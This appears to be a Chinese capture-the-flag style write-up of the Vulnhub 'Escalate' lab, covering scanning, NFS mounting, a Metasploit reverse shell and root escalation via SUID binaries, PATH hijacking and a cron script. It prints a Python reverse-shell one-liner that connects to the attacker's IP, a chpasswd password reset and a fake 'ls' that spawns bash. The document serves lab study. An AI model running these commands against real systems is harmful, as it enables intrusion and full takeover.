Escalate

news/2025/3/20 8:14:37/文章来源:https://www.cnblogs.com/yk1ng/p/18782285

Escalate

信息收集

扫描

目标主机ip

┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:84:b2:cc, IPv4: 192.168.158.143
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.158.1   00:50:56:c0:00:08       VMware, Inc.
192.168.158.2   00:50:56:e9:30:53       VMware, Inc.
192.168.158.146 00:0c:29:9e:f6:25       VMware, Inc.
192.168.158.254 00:50:56:ee:8f:d2       VMware, Inc.4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.961 seconds (130.55 hosts/sec). 4 responded

扫描开放端口

┌──(root㉿kali)-[~]
└─# nmap -sT -sC -sV 192.168.158.146
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-19 22:32 CST
Nmap scan report for 192.168.158.146
Host is up (0.00036s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      32958/udp   mountd
|   100005  1,2,3      34131/tcp   mountd
|   100005  1,2,3      40285/tcp6  mountd
|   100005  1,2,3      46295/udp6  mountd
|   100021  1,3,4      36637/tcp   nlockmgr
|   100021  1,3,4      36939/udp6  nlockmgr
|   100021  1,3,4      37529/tcp6  nlockmgr
|   100021  1,3,4      41326/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
2049/tcp open  nfs         3-4 (RPC #100003)
MAC Address: 00:0C:29:9E:F6:25 (VMware)
Service Info: Host: LINUXHost script results:
|_nbstat: NetBIOS name: LINUX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time: 
|   date: 2025-03-19T14:32:25
|_  start_date: N/A
|_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: 0s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: osboxes
|   NetBIOS computer name: LINUX\x00
|   Domain name: \x00
|   FQDN: osboxes
|_  System time: 2025-03-19T10:32:25-04:00
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.62 seconds

扫到了smb服务

80端口信息收集

扫描目录

┌──(root㉿kali)-[~/vulnhub/Escalate]
└─# dirb http://192.168.158.146/ -----------------
DIRB v2.22    
By The Dark Raver
-----------------START_TIME: Wed Mar 19 22:55:28 2025
URL_BASE: http://192.168.158.146/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt-----------------GENERATED WORDS: 4612                                                          ---- Scanning URL: http://192.168.158.146/ ----
+ http://192.168.158.146/index.html (CODE:200|SIZE:10918)                          
+ http://192.168.158.146/server-status (CODE:403|SIZE:303)                         -----------------
END_TIME: Wed Mar 19 22:55:31 2025
DOWNLOADED: 4612 - FOUND: 2┌──(root㉿kali)-[~/vulnhub/Escalate]
└─# dirb http://192.168.158.146/ -X .php-----------------
DIRB v2.22    
By The Dark Raver
-----------------START_TIME: Wed Mar 19 22:55:38 2025
URL_BASE: http://192.168.158.146/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]-----------------GENERATED WORDS: 4612                                                          ---- Scanning URL: http://192.168.158.146/ ----
+ http://192.168.158.146/shell.php (CODE:200|SIZE:29)                              -----------------
END_TIME: Wed Mar 19 22:55:41 2025
DOWNLOADED: 4612 - FOUND: 1

扫php后缀的文件竟然扫到了shell.php

访问页面是apache的默认页面

image-20250319225654826

漏洞查找与利用

smb枚举

┌──(root㉿kali)-[~]
└─# smbmap -H 192.168.158.146________  ___      ___  _______   ___      ___       __         _______/"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\(:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)\___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/__/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  //" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \(_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.comhttps://github.com/ShawnDEvans/smbmap[\] Checking for open ports...                                                      [*] Detected 1 hosts serving SMB              
[|] Authenticating...                                                               [*] Established 1 SMB connections(s) and 0 authenticated session(s)
[/] Closing connections..                                                           [-] Closing connections..                                                           [\] Closing connections..                                                           [|] Closing connections..                                                           [/] Closing connections..                                                           [-] Closing connections..                                                                                                                                               [*] Closed 1 connections

2049/tcp open nfs

可以通过rpcinfo命令来确定主机上是否运行或挂载了NFS服务

┌──(root㉿kali)-[~]
└─# rpcinfo -p 192.168.158.146program vers proto   port  service100000    4   tcp    111  portmapper100000    3   tcp    111  portmapper100000    2   tcp    111  portmapper100000    4   udp    111  portmapper100000    3   udp    111  portmapper100000    2   udp    111  portmapper100005    1   udp  57214  mountd100005    1   tcp  48015  mountd100005    2   udp  45722  mountd100005    2   tcp  53995  mountd100005    3   udp  32958  mountd100005    3   tcp  34131  mountd100003    3   tcp   2049  nfs100003    4   tcp   2049  nfs100227    3   tcp   2049  nfs_acl100003    3   udp   2049  nfs100227    3   udp   2049  nfs_acl100021    1   udp  41326  nlockmgr100021    3   udp  41326  nlockmgr100021    4   udp  41326  nlockmgr100021    1   tcp  36637  nlockmgr100021    3   tcp  36637  nlockmgr100021    4   tcp  36637  nlockmg

显示导出文件夹列表

┌──(root㉿kali)-[~]
└─# showmount -e 192.168.158.146
Export list for 192.168.158.146:
/home/user5 *

访问NFS共享

导出的文件夹可以通过创建一个空的本地文件夹,并将共享挂载到该文件夹来访问

┌──(root㉿kali)-[~/vulnhub/Escalate]
└─# mount -t nfs 192.168.158.146:/home/user5 /tmp/user5 -o nolock┌──(root㉿kali)-[/tmp/user5]
└─# ls   
Desktop    Downloads  Pictures  Templates  ls
Documents  Music      Public    Videos     script

成功挂载

getshell

访问上面扫到的shell.php,发现可以直接执行命令

反弹shell到msf

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.158.143
LHOST => 192.168.158.143
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.158.143:4444 
[*] Command shell session 1 opened (192.168.158.143:4444 -> 192.168.158.146:52018) at 2025-03-19 23:06:47 +0800
$ id
uid=1005(user6) gid=1005(user6) groups=1005(user6)
$

提权

传一个LinEnum进枚举当前环境

image-20250319232423335

可以看到有8个用户那么每个用户应该都有提权可能

在定时任务出找到

user4应该是写定时任务

suid提权

先看user6

查看该用户sudo特权

find / -type f -perm -4000 2>/dev/null
/sbin/mount.nfs
/sbin/mount.ecryptfs_private
/sbin/mount.cifs
/usr/sbin/pppd
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/arping
/usr/bin/newgrp
/usr/bin/sudo
/usr/lib/xorg/Xorg.wrap
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/ping
/bin/su
/bin/ntfs-3g
/bin/mount
/bin/umount
/bin/fusermount
/home/user5/script
/home/user3/shell

可以看到user3和user5下面有可执行文件

image-20250319233052451

运行后获得root

环境变量提权

查看刚才找到的user5/script

 user6  / | home | user5                                                  ls   
ls
Desktop    Downloads  Pictures  Templates  ls
Documents  Music      Public    Videos     scriptuser6  / | home | user5                                                  file script
file script
script: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=46373e533afa94bc214de67722063f52eb425a57, not stripped

也是一个可执行程序

并且目录下面还有个ls执行程序,执行这个文件之后执行了ls命令

 user6  / | home | user5                                                  ./script
./script
Desktop    Downloads  Pictures  Templates  ls
Documents  Music      Public    Videos     scriptuser6  / | home | user5                                                  ./script
./script
Desktop    Downloads  Pictures  Templates  ls
Documents  Music      Public    Videos     script

应该是某一步执行了ls

通过全局环境变量提权参考:使用 PATH 变量的 Linux 权限提升 - 黑客文章

Echo Command -1st 生成 root 权限的技术

cd /tmp
echo "/bin/bash" > ls
chmod +x ls
cd /home/user5
./script

意思就是将ls的环境变量修改为/bin/bash,当以root用户执行./script文件时,./script文件就会以root身份执行ls从而实际执行的是/bin/bash拿到root权限

定时任务提权

上面发现user4下有的Desktop有一个脚本是通过计划任务使用root权限执行

但是没有user4密码

可以使用上一步的方法将其换成执行修改user4的密码

echo "echo 'user4:123456' | chpasswd">ls

image-20250320000105442

image-20250320000126093

然后就可以写一个反弹shell的代码到这个sh文件里面,等待反弹root权限的用户即可

cat << EOF > autoscript.sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.158.143",1122));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
<;os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'  EOF
EOFuser4  ~  Desktop  cat autoscript.sh
cat autoscript.sh
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.158.143",1122));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
┌──(root㉿kali)-[~]
└─# nc -lvnp 1122
listening on [any] 1122 ...
connect to [192.168.158.143] from (UNKNOWN) [192.168.158.146] 55032
# id
id
uid=0(root) gid=0(root) groups=0(root)
# 

还有很多种提权方法参考:Vulnhub-靶机-ESCALATE_LINUX: 1 - 皇帽讲绿帽带法技巧 - 博客园

总结

提权思路扩充,修改全局环境变量提权,信息收集脚本LinEnum使用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/901846.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

简单实现 sln 和 slnx 两个解决方案文件格式互转

本文将告诉大家如何通过 Microsoft.VisualStudio.SolutionPersistence 实现 sln 和 slnx 格式文件的相互转换按照 dotnet 的惯例,使用 NuGet 安装 Microsoft.VisualStudio.SolutionPersistence 库,安装之后的 csproj 项目文件内容大概如下 <Project Sdk="Microsoft.N…

加速 PyTorch 模型介绍

加速 PyTorch 模型介绍 PyTorch 2.0 引入了一个名为*torch.compile()*的工具,可以极大地加速 PyTorch 代码和模型。通过将 PyTorch 代码转换为高度优化的内核,torch.compile 在现有代码库上进行最小化修改即可提供显著的性能提升。此功能允许精确优化单个函数、整个模块以及复…

推荐几本专著1《AI芯片开发核心技术详解》、2《智能汽车传感器:原理设计应用》、3《TVM编译器原理与实践》、4《LLVM编译器原理与实践》

4本书推荐《AI芯片开发核心技术详解》、《智能汽车传感器:原理设计应用》、《TVM编译器原理与实践》、《LLVM编译器原理与实践》由清华大学出版社资深编辑赵佳霓老师策划编辑的新书《AI芯片开发核心技术详解》已经出版,京东、淘宝天猫、当当等网上,相应陆陆续续可以购买。该…

《自然语言处理实战 : 从入门到项目实践》 | PDF免费下载

《自然语言处理实战:从入门到项目实践》系统讲解 NLP 基础知识与核心技术,涵盖文本分类、情感分析、机器翻译等内容,并通过实际项目演示如何应用深度学习模型解决 NLP 问题。适合 AI 初学者、开发者及数据科学家,助力高效掌握 NLP 技能。《自然语言处理实战 : 从入门到项目…

数组与指针的区别

一、理解数组类型 指针存储的是内存的地址,而内存的地址实际上是一个64位无符号的整数。我们可以发现指针实际上是内存上的一处空间的值保存着另一处空间的地址。1、算数方法获取相邻内存的值 首先定义 x 和 y 两个变量,然后分别输出他们的地址。 int x = 1; int y = 123; co…

《自然语言处理实战 : 预训练模型应用及其产品化》 | PDF免费下载

《自然语言处理实战:预训练模型应用及其产品化》系统讲解了 NLP 领域的最新技术,涵盖 BERT、GPT 等预训练模型的应用,并结合实际案例展示如何将 NLP 技术产品化。适合开发者、数据科学家及 AI 从业者,助力高效落地 NLP 解决方案。点击下载 书籍信息 作者: Ankur A. Patel /…

[以太网/汽车网络] 车载服务通信(SOME/IP)设计实践 [转]

序 1 引入在SOA架构中,服务是构成系统的基本单元,它代表了系统中的某个功能或操作。服务通过明确的接口与外界进行交互,实现了功能的封装和重用。 SOA架构的核心就是服务: 它通过将应用程序划分为一系列的服务来降低系统的复杂度,提高系统的灵活性和可维护性。 在SOA中,服…

小白尖叫!DeepSeek安装竟偷占C盘?这样做路径配置 直接根治存储焦虑!

🚀 个人主页 极客小俊 ✍🏻 作者简介:web开发者、设计师、技术分享 🐋 希望大家多多支持, 我们一起学习和进步! 🏅 欢迎评论 ❤️点赞💬评论 📂收藏 📂加关注前言 之前给大家讲解了关于Ollama+DeepSeek的使用和本地部署, 有些朋友表示遇到一些问题,无法解决! …

智能工厂搭建:系统数量与选型的深度剖析

当今制造业加速迈向智能化的时代,智能工厂成为众多企业追求的目标。它宛如一座现代化的智慧堡垒,融合了先进技术与高效管理流程,能大幅提升生产效率、优化产品质量。然而,构建智能工厂并非一蹴而就,其中一个关键且容易让人困惑的问题便是:究竟要引入多少系统?搞懂这一点…

20款好用的SSH客户端工具,你在用哪个?

20款好用的SSH客户端工具,你在用哪个? 有些小伙伴购买了Linux服务器之后,不知道该用什么工具来实现本地连接,而不是每次打开服务器厂家所提供的 web 命令页面来操作。操作步骤:登录账号 - 找到服务器 - 打开web命令页面SSH工具:打开软件 - 配置连接通过SSH工具大大减少了…

Spring AOP 的实现原理

一、AOP的基本概念 将横切关注点(日志、事务、权限)从业务逻辑中分离出来,提高代码的可维护性。 下面将解释,AOP专属名词,切面、连接点、切点、通知、目标对象、代理对象:切面:切面是封装横切关注点的模块,比如日志记录。 @Aspect 修饰类,如 LoggingAspect 连接点:连…

drm study

学习过程 0319:对于任何驱动来说,buffer是最重要的,知道了buffer的创建使用这个驱动就会一半了;现在感觉是一个无头苍蝇,感觉非常复杂:数据结构非常多,之间的关系也非常复杂;不过没关系,先研究buffer通路;可以看见应用层对mmap写入的hello world,驱动中vkms_obj->…